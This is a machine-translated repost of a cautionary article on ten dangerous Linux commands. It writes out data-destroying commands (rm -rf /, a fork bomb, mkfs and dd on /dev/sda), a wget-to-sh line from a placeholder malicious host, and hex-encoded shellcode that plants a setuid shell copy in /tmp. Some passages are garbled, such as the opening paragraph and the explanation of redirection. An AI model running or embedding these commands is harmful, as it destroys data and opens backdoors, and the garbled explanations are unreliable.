Never run the 10 most dangerous commands in Linux

Source: Internet
Author: User
Linux command line? Are you sure you want to know? ?? How can I bits in the baking environment? What is the lesser? When will the worker be doing. This article is not intended to attract your anger at Linux or linux command lines. We just want you to realize that Linux commands should be used when you run some commands.

Linux command line? Are you sure you want to know? ?? How can I bits in the baking environment? What is the lesser? When will the worker be doing. This article is not intended to attract your anger at Linux or linux command lines. We just want you to realize that you should think twice before running some commands. (Note: Of course, the following commands are usually used to make stupid play hopeless under the root permission; under the general user identity, only one mu of land is damaged .)

1. rm-rf command

Rm-rfThe command is one of the fastest ways to delete folders and their contents. A single bit of misjudgment or ignorance may lead to irreparable system breakdown. Below are someRm command.

  • RmCommands are usually used to delete files in Linux.
  • Rm-rRecursively delete folders, or even empty folders. In my opinion, this is a mistake. in common sense, it should be "or even a non-empty folder ")
  • Rm-fThe command can directly delete 'read-only Files' without asking '. In Linux, deleting a file does not care whether the file is read-only, but does not care whether the parent directory has the write permission. Therefore, the-f parameter only means that you do not need to delete and confirm one by one, but will delete it quietly. In addition, the original rm command is not prompted for deletion, but the general release will add the-I parameter to rm through the alias to request deletion confirmation, -f suppresses this prompt .)
  • Rm-rf/: Force delete all objects in the root directory. (That is to say, after the deletion is completed, nothing else ...)
  • Rm-rf *: force delete all files in the current directory.
  • Rm-rf.: Force delete the current folder and its subfolders.

From now on, when you want to executeRm-rfPay attention to the command. We can. Bashrc"File pair'Rm'Command to createRm-ITo prevent the use'Rm'Command to delete the file accident, it will require you to confirm each deletion request. (Note: Most releases have already done this. if not, please do so and consider what you are doing before using the-f parameter! The translator himself has a tearful lesson .)

2. :() {:|:&};: Command

This isFork bomb. The specific operation is to define a function named ':', which calls itself twice and runs on the background at the front end at one time. It will be executed repeatedly until the system crashes.

:(){:|:&};:

Oh? Are you sure you want to try it? Never experiment on the company's official server ~~

3. Command>/dev/sda

The above Command will'Command'Output to block devices/Dev/sda. This operation replaces all data blocks in the block device with the original data written by the command, resulting in data loss of the entire block device.

4. mv folder/dev/null

This command will move'Folder'/Dev/null. In Linux/Dev/nullOrNullA device is a special file. all data written to the device is cleared, and the write operation is successful. This is a black hole. Of course, it should be noted that, by moving folders to a black hole, the salvation of data recovery software cannot be prevented, you need to use dedicated software or techniques-I know you must have something to delete .)

# mv /home/user/* /dev/null

The above Command willUserMove all contents of the directory/Dev/nullThis means that everything is 'drawn in'Black hole (null).

5. wget http: // malicious_source-O-| sh

The above-listed command will download a script from a (or perhaps) malicious source and execute it. The Wget command will download this script, whileShThe downloaded script will be executed (unconditionally.

Note:: Always pay attention to the source of the downloaded package or script. Only scripts/programs can be downloaded from trusted sources. So, do you really know what you are doing? If this is necessary, I will first wget it, and then I will read what it actually writes, and then consider whether to execute it .)

6. mkfs. ext3/dev/sda

The above Command will format the block device'Sda', You certainly know that your block device (Hard Drive) Will be formatted,Brand New!Without any data, you can directly bring your system to an irrecoverable stage. Generally, devices such as/dev/sda are not directly used. unless used as raw devices, sda is generally used only after being divided into partitions such as sda1 and sda2. Of course, whether you use sda or sda1, mkfs is devastating for block devices or partitions, and the above data will be evaporated .)

7.> file

Upper-column commands are often used to clear the file content. Before executing the command, make sure that the output file is empty or does not exist. Otherwise, the original file cannot be recovered. even the data recovery software may not be able to help you. In addition, I think what you might really want to use is ">", that is, to refresh the file rather than refresh the file .). If the input is incorrect or the input is ignorant when the above column is used for execution, it is similar to ">Xt. confThe command overwrites the configuration file or any other system configuration file.

8. ^ foo ^ bar

This command is described in Part 3, which is one of the ten least-known Linux commands. it is used to edit commands run earlier without replaying the entire command. HoweverFoobarIf you do not thoroughly check the risks of changing the original command, this may cause real troubles. In fact, this kind of trick is, in the opinion of the translator, a few useless and harmful "hacker" skills left behind by prehistoric times .)

9. dd if =/dev/random of =/dev/sda

The commands listed above are directed to the block device.SdaWrite random spam files to erase data. Of course! Your system may be in a state of chaos and irrecoverability. Do you remember that the music videos cannot be completely deleted from a black hole? So this command is to give you a thorough deletion method! Of course, you can overwrite it multiple times for the sake of insurance .)

10. hide commands

The following command is actually the first command (Rm-rf). The code here is hidden inHexadecimalAn ignorant user may be fooled. Running the following command on the terminal may erase yourRootPartition.

This command indicates that the real danger is hidden and will not be easily detected. You must always pay attention to what you are doing. Do not compile/run code from unknown sources.

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Note:: Do not useLinuxThe terminal or Shell executes any of the above commands. If you want to test them, run them on the VM. Any discord or data loss, because running the above command causes your system to crash, the articleAuthorAndTecmintNot responsible. The translator and the reposted website are not responsible for either ~!)

So far today, I will come back soon and bring another article you like. Continue to follow and visitTecmint. If you know anything elseDangerous Linux CommandsYou also want to add it to our list. please leave a comment and leave us with your valuable comments.

Http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/:

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.